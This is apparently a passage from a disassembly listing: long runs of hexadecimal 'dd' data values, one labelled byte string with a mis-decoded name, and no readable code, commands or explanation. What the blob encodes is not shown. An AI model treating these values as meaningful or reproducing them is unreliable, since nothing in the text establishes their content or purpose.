		dd 9C3ADFE5h, 0FA01EBDh, 0C42E108Ah, 11467Ch, 0C905E008h
		dd 981CB64Eh, 801E4464h, 1D6B2C44h, 12CBADF4h, 60D41FC5h
		dd 0DB293760h, 23C7E19h, 0D0CC4977h, 0A8465DACh, 42029846h
		dd 0B0A1DA2Ch, 0EC10BD31h, 0C5002DAAh, 4E1F4411h, 15530DE5h
		dd 0A47ACEDBh, 69356B0Bh, 0D897BD00h, 0C430DD49h, 0F777F07Fh
		dd 511C0AD3h, 0A9BCE0F4h, 19B3D1E8h, 0FAFED0FCh, 1B8D00D8h
		dd 864CDBDEh, 157731A8h, 0EC4CFCF6h, 22FB10ECh,	4568FE84h
		dd 0F8889C51h, 0E38903A5h, 0F47AE007h, 0BCCCE6C2h, 0AC6BD302h
		dd 198B37E7h, 0EB9E105Ah, 24F6486Bh, 4ECE1C03h,	5915B9F9h
		dd 178879C1h, 0AD00B576h, 0DA123862h, 58630239h, 1C06457Ah
		dd 9B50D0A0h, 510F89A4h, 0E0909943h, 0A1098DE4h, 0FAF90015h
		dd 5D562CDEh, 6060CEE6h, 0B6850459h, 82FD0373h,	0AAE52B17h
		dd 21660830h, 1B69DBFh,	6A19122Dh, 20F99889h, 0CC8965C4h
		dd 126E9FE8h, 23F65044h, 78A8A924h, 101348Fh, 7F8AD962h
		dd 2F102207h, 173DA659h, 1E7681D0h, 6CC2A22Bh, 0D2A050B2h
		dd 11B68130h, 88E2FD77h, 99BB806Bh, 0CBE624B6h,	8876AB33h
		dd 1320E4F5h, 6200A7C4h, 14D5FE4Fh, 0B9D92CE5h,	0ED828018h
		dd 0BC5C97CDh, 0B039987Ch, 0F1A50227h, 0AEE3EF15h, 0CE8031E8h
		dd 0CFE7A76Bh, 58228A43h, 6BE6AD01h, 0C61F1CFEh, 18E048h
		dd 50D82CACh, 0E98F4198h, 0B7033801h, 5340EBF7h, 502A0430h
		dd 444CABh, 0F1FF0E23h,	12A9D5F2h, 49DFDE0Ah, 7E60A4EEh
		dd 1F69E676h, 189436F1h, 3DCC192Ah, 0F7CBA1Fh, 3243C5Dh
		dd 6AF880Eh, 46D0EFFEh,	6BD10778h, 0C418E7A6h, 0E9AC4044h
		dd 75AE6Bh, 92A70DBFh, 5FF927B1h, 2BC121DCh, 6D4AB82Eh
		dd 8C9DC420h, 0CF2DA704h, 0BC62A8A1h, 2DAFEB20h, 8BEA1381h
		dd 0AB6C0884h, 413F74C2h, 142852D1h, 7C60E2B2h,	7000129Fh
		dd 0E457DC2Ah, 48B9ED08h, 6CE8248Ah, 7D70008Ch,	0C8B44171h
		dd 5874A089h, 12C76348h, 0C900754h, 128671h, 3BE28542h
		dd 0E4464A2Ah, 6A9B8A00h, 41A545F2h, 7E41CA2Ch,	8B7A60CCh
		dd 0A2000A40h, 91C3DC41h, 646931Ah, 6440163h, 6102292Bh
		dd 7AE71C6Ch, 1A0F60BBh, 770501E2h, 6561551h, 42905175h
		dd 81FBF4D2h, 6B394912h, 63D488h, 0A308CF85h, 0A188EB4Fh
		dd 216BFA1Fh, 0E2E72B81h, 0F9A0EAC1h, 28E94694h, 0FD2B8484h
		dd 6811949Ah, 0B69CBE00h, 0F3916038h, 0CD01617Ah, 63CC1D95h
		dd 0E2D5AD9Fh, 443430h,	0E5D99E87h, 0CD499304h,	63C4D000h
		dd 27759447h, 0A06758D3h, 0CB0F7094h, 422FEB59h, 4FAD9C01h
		dd 0E2583394h, 536C3050h, 9478DF2Ah, 15D77309h,	91CC97F5h
		dd 4F08059h, 5831052Eh,	784D8ED4h, 88F82712h, 42869D38h
		dd 84FF02FDh, 0C8EBE1A3h, 0ADFE0Ch, 4A0DA5AAh, 86232FAEh
		dd 2440FC3Eh, 46749CB6h, 2A9500BEh, 7656083Ch, 0D8843AF0h
		dd 8CE89850h, 71B69704h, 516292FDh, 0B68FA520h,	0EA2C05B5h
		dd 164881ACh, 0EB6402D0h, 38E4D73Eh, 46569C94h,	199F0113h
		dd 630840B2h, 0A3140C23h, 0C80ACC5Fh, 44D07974h, 0A4E265h
		dd 0B5ABB55h, 72230FD3h
		dd 949D5DF7h, 2EB011h, 0E04CB10Ch, 9D2C65Dh, 0C3F786E7h
		dd 7F2E5868h, 24E1701Eh, 69F22F43h, 0E014CA2Ah,	9CEBFDE4h
		dd 137E9F50h, 6DA405F7h, 67F06245h, 61E4A484h, 0FDF4B683h
		dd 0C094B1F2h, 0CDB69BA1h, 5F69F91Eh, 710DD2C4h, 66E0D8A6h
		dd 3504F8F2h, 55DC169Fh, 0F1A6400h, 0C701523Bh,	1190BBD0h
		dd 0EC2127A2h, 0A5242180h, 0DAA436F9h, 82CC7F01h, 0EF206FF8h
		dd 48E95301h, 1300D5E0h, 0F0B3A19Bh, 43855h, 8418DCAEh
		dd 7EDEB01Dh, 51F79600h, 0EC15A3D5h, 136400B8h,	0FED2CEB2h
		dd 0E601C71Fh, 76DB4CEAh, 819D51DDh, 0A775057Dh, 954AC06Ah
		dd 41073F3Eh, 76C1ECFEh, 0AB7084ABh, 64DDD488h,	0DE44394Eh
		dd 0DE450078h, 0B4333588h, 864D0321h, 53A602DFh, 0FEF0BAF8h
		dd 40A77100h, 0A9E5826Dh, 85D40EC2h, 80747B12h,	10F4D300h
		dd 4E215373h, 6CDCA919h, 0A1F45179h, 42DC9263h,	0B97A00D2h
		dd 0AD42F84Fh, 6DC000B8h, 3C5CF532h, 0B739D1C2h, 7F4A06C5h
		dd 0E4286A43h, 2B8D3933h, 93CCEA83h, 180CEE41h,	485D8290h
		dd 296E386Ah, 0E48E318Fh, 4D3DC9C1h, 347ED0BFh,	0DAFC4601h
		dd 0F9AB9FB1h, 4F3000C7h, 0FEA31A79h, 8B004E82h, 0A57E8670h
		dd 3C5ACCh, 4F98FA0Dh, 75528C4Bh, 0F819000h, 0AB2EAE0h
		dd 0BC1C0EC5h, 4AA37360h, 0A90A5E7Ah, 30F7BBE2h, 194E410Ch
		dd 45250021h, 0D91BEE7Eh, 0A4128098h, 1E0FB834h, 3B9221E7h
		dd 40888240h, 0B084D2C1h, 1EB87Dh, 28D9F191h, 801F94D8h
		dd 62C7CF50h, 32D034BBh, 5CBE4B5Ch, 0FF006D78h,	0F08BC457h
		dd 0F4E97F7Dh, 89C05055h, 479B11C5h, 0D509180Fh, 56726988h
		dd 0E3A2CF05h, 0EE189D20h, 7EAA719h, 0F9888BA5h, 8C1EA074h
		dd 0FB1C8AF6h, 0F4CF8F70h, 5AD680F5h, 3BBB8BA0h, 328C2F4Ch
		dd 0E12691B8h, 0C3C1EE00h, 7B2DCCFh, 224100D3h,	0E8F0432Bh
		dd 3300AF84h, 8FF476FFh, 64585F5h, 48A827DFh, 0E71F28BDh
		dd 53803B42h, 8B3FED79h, 0B6392EF1h, 54203030h,	0C37407C6h
		dd 0EF16AD07h, 0A14F8EFBh, 853E52B0h, 2A43D8E3h, 2C48B0E3h
		dd 0EA69DCEh, 1E809CA7h, 3841A9A2h, 30B42A37h, 0E6BEEF40h
		dd 0E807776h, 4BF6D64Ch, 45C30052h, 254D2DE0h, 0DA693806h
		dd 10E10Fh, 0C1AFD41Dh,	0E7D69FAEh, 5476C606h, 3890F553h
		dd 0D40B9357h, 0E18008ABh, 4C7A7E23h, 2A846050h, 1513BA3Dh
		dd 608C54D7h, 0E2FC4B08h, 9CED265Eh, 9D080F94h,	884299E0h
		dd 0D93AAA4Ch, 7A81F3Ah, 0DB9AF400h, 0F8974D8Dh, 1869F0B6h
		dd 1040B735h, 0C000E33Dh, 544CFB41h, 17A47EAh, 5D9ED2B8h
		dd 0C4880BA0h, 911CDB61h, 824702E2h, 38C75EB0h,	39078E40h
		dd 8FD6C4Ch, 321F0430h,	90009E86h, 92E65E22h, 0F3830141h
		dd 99AF94Ah, 0C8D9B45Ch, 0C3EF047Ah, 3ED16C6Dh,	0F10C9110h
		dd 4B212A7Ah, 0EB0A5800h, 76523CA7h, 5B09CB3Fh,	436BB820h
		dd 3D00530Ah, 0B0F54061h, 793BC3Ch, 0DA5A25ABh,	3630C0D4h
		dd 1DF82877h, 0B59F1717h, 4C92B404h, 0E5BD5600h, 91C05312h
		dd 0D7BBE4F4h, 16FD3AE9h, 8F5E11Bh, 217C219Eh, 6656BB00h
		dd 0EB3750B1h, 97D11DB6h, 0BFF90C5Eh, 8418B8B9h, 75E10D30h
		dd 0AF51307Bh, 5608D390h, 22A8D760h, 0A8C8E0B6h, 5027A184h
		dd 0CD4443Dh, 85043770h, 42711811h, 552C0707h, 23E03A7Fh
		dd 0CF554D2h, 68A227ACh, 342AE729h, 203A079h, 0B2F059Ch
		dd 0F0703E83h, 7825440Ch, 23054221h, 168DE493h,	9F58C0Ch
		dd 0E2B9C07Fh, 3D90939Ah, 30CCAB17h, 86229100h,	76C1460Ch
		dd 0DC8518A7h, 0D461C1B2h, 0C856ED01h, 0CC7C7706h, 6846BC47h
		dd 3CEF0021h, 0A3C728E2h, 2400FFBFh, 60D6A671h,	50B5AB90h
		dd 1069905Eh, 46BEFDE8h, 234625D8h, 1283C18Ch, 40596DA1h
		dd 448C3404h, 37E6581h,	8B2E1200h, 840170D3h, 1CBE03E1h
		dd 0E5FBBAEAh, 0DC30317Fh, 0CA7899A4h, 0EF110047h, 0A7193AD0h
		dd 0F8006AF9h, 0FD35D444h, 1F27694h, 0AB4FAC7Ah, 20D03F62h
		dd 2091412Ch, 0F680EB11h, 0ADE925BBh, 0EF130087h, 3967A0BBh
		dd 4E8F0200h, 9CF0611Dh, 42D50C80h, 93998CDAh, 0B0AC9EE8h
		dd 57EDD70Fh, 587668C8h, 0E2003FF2h, 0F4518649h, 34824CEh
		dd 275ECA67h, 81097EA4h, 2DD620E9h, 0AAF13994h,	0AE005C22h
		dd 0F5F6DBFDh, 6200467Ah, 9CBECE3Bh, 6899F93h, 13FD360Ch
		dd 42F420F9h, 41779102h, 0F2BFFCh, 299F95A2h, 147AF33Eh
		dd 490B306h, 4D5ADB77h,	488A8088h, 7502C85Eh, 0A2A985A6h
		dd 0C8F04849h, 0ECF8DF60h, 243E20DEh, 0DAC05843h, 218DAD93h
		dd 4391802Eh, 93923B03h, 0FDB0D6D7h, 0CE063FA5h, 0D4A4AEC4h
		dd 3095EAE1h, 0B4A017E3h, 8660AB91h, 0BCFD8CB8h, 49598112h
		dd 5E80918Ch, 0F6932180h, 448C868Dh, 99023829h,	7E5DC93h
		dd 22B8AFE7h, 878EC750h, 7020ECC1h, 1C54DCEh, 24591E81h
		dd 80250F6Dh, 76E6C678h, 609ABA88h, 5A8BB1B5h, 44905332h
		dd 0F319F010h, 18A41E1Eh, 90BAC978h, 770D70A8h,	52072F40h
		dd 2A74ACDFh, 0EC6426AFh, 8DA10893h, 716F9DCEh,	4890CF20h
		dd 0A7E2A22h, 4961E889h, 801E13CCh, 7B041634h, 5C3121C0h
		dd 73C611Fh, 3214D644h,	0A5B5F0D5h, 9B4922A6h, 0E24A8064h
		dd 4336C858h, 0A42277h,	53EDD281h, 0F6B6AD7h, 1244C038h
		dd 200E69C5h, 6FF982B4h, 0B5DC80F5h, 4E261F06h,	773C009Ch
		dd 133FBD5Ah, 0AA81C891h, 0CDE921BBh, 3F88ED18h, 0FFBB05E3h
		dd 4076136Ch, 0C16DF90h, 9A09ACA0h, 91253AE7h, 0B4502438h
		dd 3E96C23h, 0DE7BFDD0h, 0B5B88ACCh, 7515A416h,	6E87C83h
		dd 0B362C2E2h, 0D14100D9h, 5356D0CAh, 0E4995ADh, 70987CA4h
		dd 234863FDh, 0BBF90FD2h, 62F5E9A4h, 0EE1420E6h, 9800B1BBh
		dd 337E2E2Dh, 28A83A1Ah, 7F985479h, 0BF81C0C9h,	6953C4FBh
		dd 7A982490h, 0CF5CFA1Fh, 917703FEh, 0BC9AB7h, 0F7448BE1h
		dd 0F6A68C27h, 709C57E8h, 76C89CBFh, 0E1406942h, 93084155h
		dd 0B15D2020h, 1843D130h, 550300A9h, 9BA4CF4Fh,	106013A1h
		dd 4356BE21h, 3DF90EE3h, 0D40251Dh, 0B27A3C17h,	9493A9C0h
		dd 0BEFBA0h, 517CC48Bh,	0B1D302A1h, 0F9BDFD31h,	518C0C14h
		dd 1F9E574Dh, 31D36609h, 18C37F1h, 557B8CD9h, 0C0B04446h
		dd 3A6BCAB0h, 782DBC06h, 0A1186D0Dh, 6032F169h,	0D6C0D8F7h
		dd 2C8B830h, 1DF2F191h,	2C4008F6h, 0BE810E8Bh, 14209821h
		dd 43BF4493h, 8A8C0409h, 0C190018Bh, 0AB009987h, 0D500E4CDh
		dd 0D84A0FB1h, 21BD5D6Ah, 80A812E8h, 0E5E92012h, 20EC3062h
		dd 68BBF82Eh, 1DDCE401h, 0AE08E901h, 0B1BCE460h, 47809CC0h
		dd 201AD242h, 88A9C121h, 50E5103h, 90C50D84h, 2EF63010h
		dd 2420D21Ch, 1B940860h, 646DF90Ah, 0A640B000h,	3EA3EB8h
		dd 2038482Dh, 0D597CC35h, 23A83A16h, 0AD58008Ah, 6A74AB01h
		dd 680EBEEAh, 88FD2A02h, 0A9540231h, 9887846Fh,	0CA30319Ch
		dd 0FCE08FE5h, 46E0E990h, 0BB50448h, 38E4A7FEh,	0BAC0268h
		dd 37E75CCFh, 0DB040051h, 79055E16h, 9CE082CBh,	0BA84B0A0h
		dd 28BA588Fh, 83200898h, 0C0F14C3Eh, 0B40F7B22h, 60B1E8EEh
		dd 0FBB54AE3h, 0A402031Fh, 7B8D557Ch, 0F2604DEFh, 5A538382h
		dd 0EB91F497h, 0A74CED80h, 34EE283Ah, 0C7646058h, 4200A9DDh
		dd 165CD1h, 336EFF8Ah, 25986C3Ch, 0FC514F03h, 6907E8h
		dd 36CE7131h, 12665A55h, 0B109DC00h, 0B65E9B45h, 0ECA8A491h
		dd 8BA54F1h, 0E0AC0A21h
		dd 11A09B4Ah, 31270C29h, 49C95984h, 0E500EC46h,	9F69523Eh
		dd 50167F92h, 8430F9B1h, 8042E305h, 5701F638h, 910C873Dh
		dd 0E858FB54h, 10B08AAh, 97C4ACA4h, 0A456940h, 310365A2h
		dd 0E70B0C0Dh, 0EC31A5C9h, 0F82657E6h, 0DF269110h, 8DE39302h
		dd 107D31FEh, 7932C35h,	0E317C56Eh, 5445099h, 0ECB2137Bh
		dd 407B8D46h, 0C0B1DF15h, 5B7168A1h, 61B1D819h,	4E3E3812h
		dd 3917401h, 0C883A319h, 3C85C4CCh, 811655A9h, 0FFB612A9h
		dd 689675F6h, 23E82F93h, 842400B6h, 2952746h, 0C9580A71h
		dd 12E681F8h, 0E3FCBFA0h, 0C8A900F1h, 1B3C1C6Dh, 5E189A93h
		dd 0B608E8EDh, 74109045h, 0D590D2B7h, 24881420h, 0C487A13Eh
		dd 8329AB87h, 21384C68h, 442306ACh, 0D17B28h, 0D78AA0C6h
		dd 0A1267DF1h, 23F49248h, 0A56009Fh, 514CA7D5h,	15E54486h
		dd 0BC0B9100h, 0ED852A8Ah, 0C4DF16F8h, 46000931h, 85CDC430h
		dd 0C98AA50Dh, 0A0FB91B9h, 83398h, 9A9B8DEEh, 14709210h
		dd 67A11360h, 1D0ECBB9h, 804A5553h, 5C2F5782h, 0AD176FC1h
		dd 44227080h, 0CE63C040h, 1C721CD3h, 0A1AC4583h, 9D9807D2h
		dd 0B641B290h, 27AFD302h, 0B831C9BAh, 0AD5C202Eh, 9320048Ch
		dd 629E8DA7h, 98392040h, 3330D793h, 1A8FEA63h, 782F4CE7h
		dd 26D82D81h, 899062B5h, 919017F0h, 79B0817Ch, 582DC91Ah
		dd 8780D13Dh, 415D6BE4h, 2725AD11h, 0E15420AEh,	99BD13h
		dd 3FEC55F6h, 9FDF72D9h, 798A1094h, 2D644DDh, 0C6C9B659h
		dd 300A20C8h, 0C1EE953Ch, 9ABA12DCh, 407334CCh,	5E10382Dh
		dd 0D8507D8Fh, 0AB388CEEh, 0B4A4110Bh, 6287EE88h, 14E00A42h
		dd 7BE030BFh, 5D9D024Fh, 24A4FDA7h, 8F9160C8h, 995BD088h
		dd 189879FCh, 77010091h, 6FA5AB5Bh, 0E12806EAh,	89DF98CDh
		dd 932E74Fh, 0AA2869BCh, 93792D18h, 9CA68D12h, 0CC008CCAh
		dd 0B1E9384h, 0CC91E0B6h, 4A58009h, 0BCA52854h,	3B63A07Ah
		dd 0A18D809Fh, 15A2CE5h, 0A69F4D32h, 0CDB1D2F6h, 0F14196B7h
		dd 0ACD48817h, 8B45C007h, 0DB4ADF71h, 133C8441h, 0BB04A70Ch
		dd 1705E92Ch, 3A20EF32h, 0AA7BBACh, 359C6CDCh, 0D8533DC4h
		dd 3130E2A2h, 67F8001Dh, 0AC514387h, 60999B3Ch,	35ECE381h
		dd 0D422A82Eh, 5A220474h, 96946358h, 71F930D8h,	9A9030DCh
		dd 62DB0685h, 3CF5F946h, 58080920h, 0B9B81404h,	182659C8h
		dd 0EC6C5CD6h, 96C0478Fh, 7EDCF546h, 0FAFFEE00h, 23148538h
		dd 0D5650E3Eh, 3A974B37h, 38462394h, 642058F5h,	59C0FC88h
		dd 21A44A0Ah, 0FC645144h, 7BA2C0C0h, 11CC30E7h,	0A62C02C1h
		dd 81F4294Ch, 990866ADh, 2E0E1AC4h, 0A5401C8h, 0CFC802ACh
		dd 719C4A00h, 9A05D5FFh, 1302F744h, 717BCCCh, 4F5C2AEDh
		dd 6BC2DED0h, 4C40260Ah, 0E77D9FBCh, 99552718h,	0A8A1C931h
		dd 0FCDACCh, 44A8D99Bh,	13CF4E06h, 1E017100h, 8CCA4859h
		dd 489DF28Ah, 99F858E3h, 27D0F38Ch, 86070059h, 0E47902E6h
		dd 0B90382C1h, 9C3EF767h, 5122F305h, 0A076085Ch, 384922B0h
		dd 376A906h, 817D04h, 28BB8AC2h, 7A63243h, 0A0439F4Ah
		dd 52791E8h, 55AB7570h,	0A504805Fh, 0CE15F848h,	2690699Dh
		dd 0D008DCB1h, 0B0C91D4Ch, 48892119h, 0F0E1FA00h, 0B71D4447h
		dd 6D78029Ch, 2990E99Eh, 3F0F94C4h, 201EBE27h, 8DD9AC58h
		dd 6B90085h, 114BBC18h,	8065D69Ah, 58D898C2h, 0B5E20401h
		dd 2C76EEC9h, 0EDE900F0h, 38BAE337h, 920B6CA6h,	90CBE7BFh
		dd 2C782DFCh, 64F4A525h, 0F23CF25Fh, 0FBB930EFh, 0BE70A30Bh
		dd 40D012EEh, 81E6D7E8h, 0D3EDDB43h, 0C5A4ED80h, 0D5788C08h
		dd 4B88205Dh, 9C02D861h, 10288435h, 40D56D12h, 6F5C79ACh
		dd 0F84AA203h
aKmU		db 'k▄#Н',0             ; DATA XREF: ___:off_435748o
		db 3, 92h, 96h
		dd 13EA9BEh, 0BB5CF42Fh, 62F17C54h, 3043F210h, 4F0046E2h
		dd 0C8A022EAh, 2C150CEh, 0C863E8Fh, 0A8E860B8h,	278DD78h
		dd 0D608F609h, 0D53400BCh, 1E37772Ch, 853BA985h, 0B0C603FBh
		dd 11E054D4h, 3794F21Eh, 0FD024780h, 3DF460Ch, 0D43FB1E3h
		dd 89043A55h, 0F1E63E12h, 0D268F4h, 3664FD33h, 654A7AEAh
		dd 0B582D4Ch, 83FCDE3Ah, 0DAAB22h, 701E069h, 9B286D7h
		dd 58AFFF01h, 4C46DC62h, 3CB55ECh, 0A9F21EEFh, 23F893F3h
		dd 5A00487Eh, 30B54EA4h, 0F70C7C5h, 1A432E31h, 0ED61112Eh
		dd 8002D8AFh, 0D28C8D10h, 10EE1B4h, 7A5286DAh, 0CC230A06h
		dd 0A7001248h, 0C3B96605h, 356896h, 5A630B92h, 2062325Eh
		dd 7718B00h, 4CCBB2B6h,	2F7709D6h, 0E4C1764Eh, 2D02E220h
		dd 0E4644556h, 0D3A960EBh, 7FA513BCh, 4E910083h, 5A5140FAh
		dd 119860D4h, 3028B2D1h, 0AC89023Ch, 9922A7C0h,	0E2E0D04Ch
		dd 0E6C9AA11h, 8B87A588h, 0B5D0EDE8h, 0B682BFF9h, 0F0504E0h
		dd 23070416h, 18A233Fh,	3BB0DC12h, 2ADBDCCDh, 6AB8A160h
		dd 6BF7A9B3h, 6C42709Eh, 0A0915C15h, 7ACBDF8Eh,	0EACFB010h
		dd 0A79E500h, 0B1FA39BFh, 0FBC903F7h, 148F77B5h, 830CECD0h
		dd 40F1291Fh, 7800F8D2h, 24FD2D5Dh, 14F0C48Ah, 0CA804027h
		dd 1CDB9820h, 40ED19D4h, 0B04C1815h, 0DD011B1Fh, 20910A55h
		dd 2E2A90FDh, 0E223B4h,	0FBECAF8h, 75188FC6h, 0D8801137h
		dd 5C2096F0h, 37F7D46h,	750C7102h, 0D79AA7B6h, 0CC4F68F0h
		dd 8AB99028h, 5B44C8C7h, 44884360h, 45939D09h, 0D028425Fh
		dd 40045BD8h, 0FACAE7A4h, 4A387CC1h, 0A2E283ECh, 0F3777A09h
		dd 69C00C90h, 6A79D66Dh, 81F6B600h, 91C5E014h, 49D06007h
		dd 0D3C6C946h, 0B6630A00h, 0BD601013h, 39B20179h, 2844F5B4h
		dd 7084571Ah, 0DEAF84AAh, 7240B713h, 0C55B270Bh, 6098C400h
		dd 0C5DECFh, 7EA94BDh, 37799540h, 0E559F09Bh, 87001A18h
		dd 3E1DD115h, 606DAA3Bh, 0D4E92147h, 6A03E78Dh,	0B7163AB2h
		dd 471D80CFh, 0ECB500C9h, 37FC86E5h, 0AD161146h, 24901389h
		dd 383A058h, 82C73C74h,	9A815FB0h, 5DA3D064h, 74040C58h
		dd 0A059670Ah, 5512BC7Bh, 4780649Bh, 5B05A420h,	3402A89Eh
		dd 54F47737h, 0A3465EACh, 0CA072300h, 5EF68D71h, 0B36D4709h
		dd 11C0240Ch, 0E02EC743h, 0E8776C91h, 4E0939C6h, 52F67279h
		dd 0BF2B02A0h, 3B56C92Fh, 5149C054h, 4A43BC2Ch,	0EDC84CCAh
		dd 556177C7h, 54346791h, 504E06B8h, 10ED3FF9h, 4768E925h
		dd 80B14F08h, 350F8581h, 4306002Ah, 24583DD2h, 7CF72795h
		dd 17F51778h, 0E1A43C83h, 18BF14D3h, 904AF45Ch,	0F5ADCD98h
		dd 0C3849400h, 6B0A64BCh, 0EF670277h, 7C18F3ACh, 2F6CA898h
		dd 3993A501h, 0E9DB622Ah, 480B53F4h, 8080C47Ah,	9A747C73h
		dd 0FD7F1C00h, 6238E98Ah, 7B9498B2h, 0C1EEF5h, 0DC419F20h
		dd 0B3116039h, 7096E898h, 720D3859h, 3029B294h,	289944B7h
		dd 0C0F69580h, 8F11E7h,	5F6532C1h, 0FBB5A979h, 0AC20925Bh
		dd 0E3A42DBh, 0E87A783Fh, 0FD7460C0h, 2A00F312h, 0F8B49ACAh
		dd 70E798D2h, 0B223135Ch, 0BC8C939Eh, 0F12DD812h, 4023902Fh
		dd 1B2F3700h, 9551986h,	8E4CCD87h, 0C1D874A8h, 327A3C78h
		dd 0F8380FA8h, 658BE0FAh, 0E6989Ch, 0AA36284Bh,	9AA48A25h
		dd 0CBC6E725h, 0C9B825D0h, 0D540804Ah, 860E7863h, 32F1BE84h
		dd 443C6889h, 7FBC1C5Ch, 7AEE7B8Ch, 8E3409D9h, 40279717h
		dd 0E20D6575h, 0CFE2C800h, 0A7D40AA3h, 0F165592h, 4D0BAE6Eh
		dd 22AC900h, 0BE14CDE3h, 0AC249065h, 380E8CEEh,	0E01B5C7Dh
		dd 135F5A7Ah, 8498BC04h, 804F6C2Fh, 16DAD903h, 9F14D00Ch
		dd 0E0304043h, 446B5AD5h, 80DE37A8h, 0E1B50270h, 0F7F01B13h
		dd 24C63C88h, 71D815Eh,	0E3A0985Bh, 8F0EBBEh, 0AB003C02h
		dd 5F15A526h, 0B09C0349h, 83B4388Ch, 4BA1771Dh,	2CE47EFBh
		dd 6872DB10h, 1C464009h, 915BDCD2h, 4423982Eh, 0ED036900h
		dd 0B42BC634h, 682A1A88h, 4206878h, 5ED89414h, 0B2406846h
		dd 2A550047h, 95F984F1h, 63198DFFh, 0C9C0B66Dh,	5708402Bh
		dd 0CBBE3BD5h, 9160E800h, 0A449C59Bh, 0A9DD0347h, 4B8D92AEh
		dd 0A42BB92Ch, 0FD6D0884h, 59C8208Eh, 13EE97C0h, 63900C4Ah
		dd 0E990B7F1h, 0C475A12Eh, 1C974674h, 7B80EE44h, 9CB48051h
		dd 1C1F00F5h, 0D8062BD3h, 0AB4B27A8h, 4AF2F8CCh, 0EEF41DE1h
		dd 7408ACA4h, 0A6075946h, 6EF78472h, 0C8511106h, 52B7FB5Ch
		dd 0E120020Ch, 40D88018h, 72C25E50h, 0A22F04AFh, 0E947A395h
		dd 0FBE3030Ch, 34B16630h, 0C1884C28h, 3968F20h,	77780695h
		dd 6850E2DBh, 9C47B400h, 0C86F724h, 83FD3B30h, 0F17AF505h
		dd 0CDA08091h, 4406D4D7h, 7CAFFC46h, 0BCA20248h, 5BBBD5B8h
		dd 0EFE4A8C5h, 7368DE60h, 0D335F02h, 4FF5A30Eh,	11204050h
		dd 15CF271h, 132A01D7h,	61038E7Eh, 7801903Ch, 0E72B34CCh
		dd 0DC402F35h, 3082F71Eh, 0E058543Eh, 4F774211h, 0E523B82Bh
		dd 3D2C8700h, 263721Fh,	782D93EEh, 48485C71h, 53614E20h
		dd 542AAA68h, 0C6C8C01Eh, 1FF857Fh, 0B13E71CEh,	2E49B94Eh
		dd 8124C848h, 0AB40CE63h, 80C03B5Ch, 0A6FB4Eh, 0D6BC9F68h
		dd 9B1BF606h, 0A8C4E4A3h, 3A1784ECh, 3BB68E41h,	0FD208686h
		dd 1E1822B0h, 18BE584Ah, 0F8BA716Ah, 412A091h, 836CE4h
		dd 51695F9Bh, 99B03347h, 0FE81CF01h, 0D67CDA97h, 7BBEBCCh
		dd 16ADFBF9h, 0E42634BFh, 3C09012Ch, 7FFFA65h, 246C608h
		dd 0FDA41261h, 94C53BFh, 1CAF063Ch, 2CDAD389h, 0EB4BA803h
		dd 3E281393h, 9D8FEF51h, 0FF5EDC59h, 655DE200h,	2CD7498Ah
		dd 0B3B7FA09h, 79B8F1D8h, 12B9185Fh, 8B8B2A89h,	0C0E6C828h
		dd 3CE84D58h, 0EF135CEAh, 8B2A827h, 0EE554008h,	6D2A0204h
		dd 0AC245CADh, 384801C8h, 6C56D4D0h, 8C98B86Ch,	773A200h
		dd 0D44B3B1Fh, 507104B7h, 0B9BE8CB1h, 98254F1Ch, 0B49B2498h
		dd 54301484h, 0DC38E714h, 0E28C129Fh, 0B1E00020h, 9BD436B2h
		dd 0F6AA003Bh, 730DBF92h, 7A3AF277h, 1AFB2595h,	116415C8h
		dd 518089D0h, 15B000FCh, 0B7ED6FB4h, 176B230Eh,	90BCE53Dh
		dd 4AE73898h, 0C0A4893Eh, 11844609h, 5C3B1455h,	8C7CACE0h
		dd 0C5918305h, 64B53AE8h, 20619402h, 0BC033378h, 605C9A97h
		dd 82A585A0h, 0CF3A6453h, 0ECC87CCBh, 6CED1FC0h, 49BA1F6Dh
		dd 4DA416Ah, 2258FBB1h,	8522D0h, 4C28AF76h, 7E631C0Ah
		dd 0C55A0B03h, 0F7C1B5C6h, 0F1E27FF0h, 3889099Ch, 44094B4Eh
		dd 66A51471h, 7B8D08D4h, 7F865329h, 0A305FA6h, 0B3ED3045h
		dd 0A21542B0h, 0A53C2702h, 88303424h, 0C761B2DBh, 2327C49h
		dd 30E96719h, 93A110C8h, 80AD4FABh, 72325A58h, 0B1249C4Dh
		dd 3217FD8Eh, 9074245Fh, 30422088h, 89F42318h, 5332848Bh
		dd 440818AEh, 389F6F13h, 40D6D050h, 3E18E920h, 0F2912ACBh
		dd 0CB754E94h, 0C07FC88Ch, 3C2EABBDh, 0FC61962Ch, 0B8B74Bh
		dd 8D36C1F9h, 0A1C2644h, 0FE0029D9h, 0F7ADD563h, 38CA002Dh
		dd 1C68E0E4h, 81F96993h, 0EA25B920h, 37FC462Ch,	0B8C502D3h
		dd 2A179355h, 75042088h, 0A9DA0074h, 0C31FF4ADh, 3601678Dh
		dd 0D6E43F74h, 2BD19D79h, 3AF05EF1h, 47890E0h, 92BA4407h
		dd 0AD764053h, 18EC62h,	4CB6FA9Ch, 176550F2h, 0E1CC903h
		dd 0D9EAA31Ah, 1EECDBB9h, 38C744CBh, 446C3500h,	837D10AAh
		dd 0A9463BF5h, 5B7B9F00h
		dd 3055FD05h, 8441838h,	80D4E871h, 5749DC42h, 201EFA3h
		dd 10B1FD18h, 0F7D0D53Bh, 221EE28Dh, 0FC005D93h, 4CF35A54h
		dd 0C3381Ah, 3A286191h,	67F96C75h, 0F0AC8930h, 406979E8h
		dd 0BB07AB5Eh, 4AD559D2h, 3A918C8Ah, 899FB618h,	8B30E944h
		dd 0D5347075h, 0F56D2A79h, 0E0E814A4h, 1C3808A9h, 0F9B4AD81h
		dd 877775D7h, 6EDBC848h, 0CE286000h, 0A60101E0h, 8B5EA5CFh
		dd 0AC52E887h, 0A2FE6600h, 0B53D5620h, 0A179C7C3h, 21E3F0B3h
		dd 48F93C8Ah, 2D0034A8h, 675FE031h, 58F07BDBh, 0A90C1370h
		dd 7F88DEBEh, 0C239F714h, 456600E4h, 424D8BABh,	88072A81h
		dd 0B4BE549Ch, 0F6FAD3h, 0CAE9AAD1h, 1EC46925h,	0F8769000h
		dd 268075A7h, 7E9F0098h, 99AFE7F6h, 5D0089C9h, 9D49CFCAh
		dd 3CD1F7A6h, 18609847h, 0B5DA0C8Ah, 201E8E2Bh,	0BAEA0EC1h
		dd 0F4C34A00h, 8300E074h, 8F8AE135h, 0F1D5881h,	4BFCEDCDh
		dd 85320580h, 94003675h, 8A8E42BBh, 43F57AC1h, 558198E0h
		dd 89F41C6h, 8C775214h,	39A963Fh, 7C3DE132h, 0B908C134h
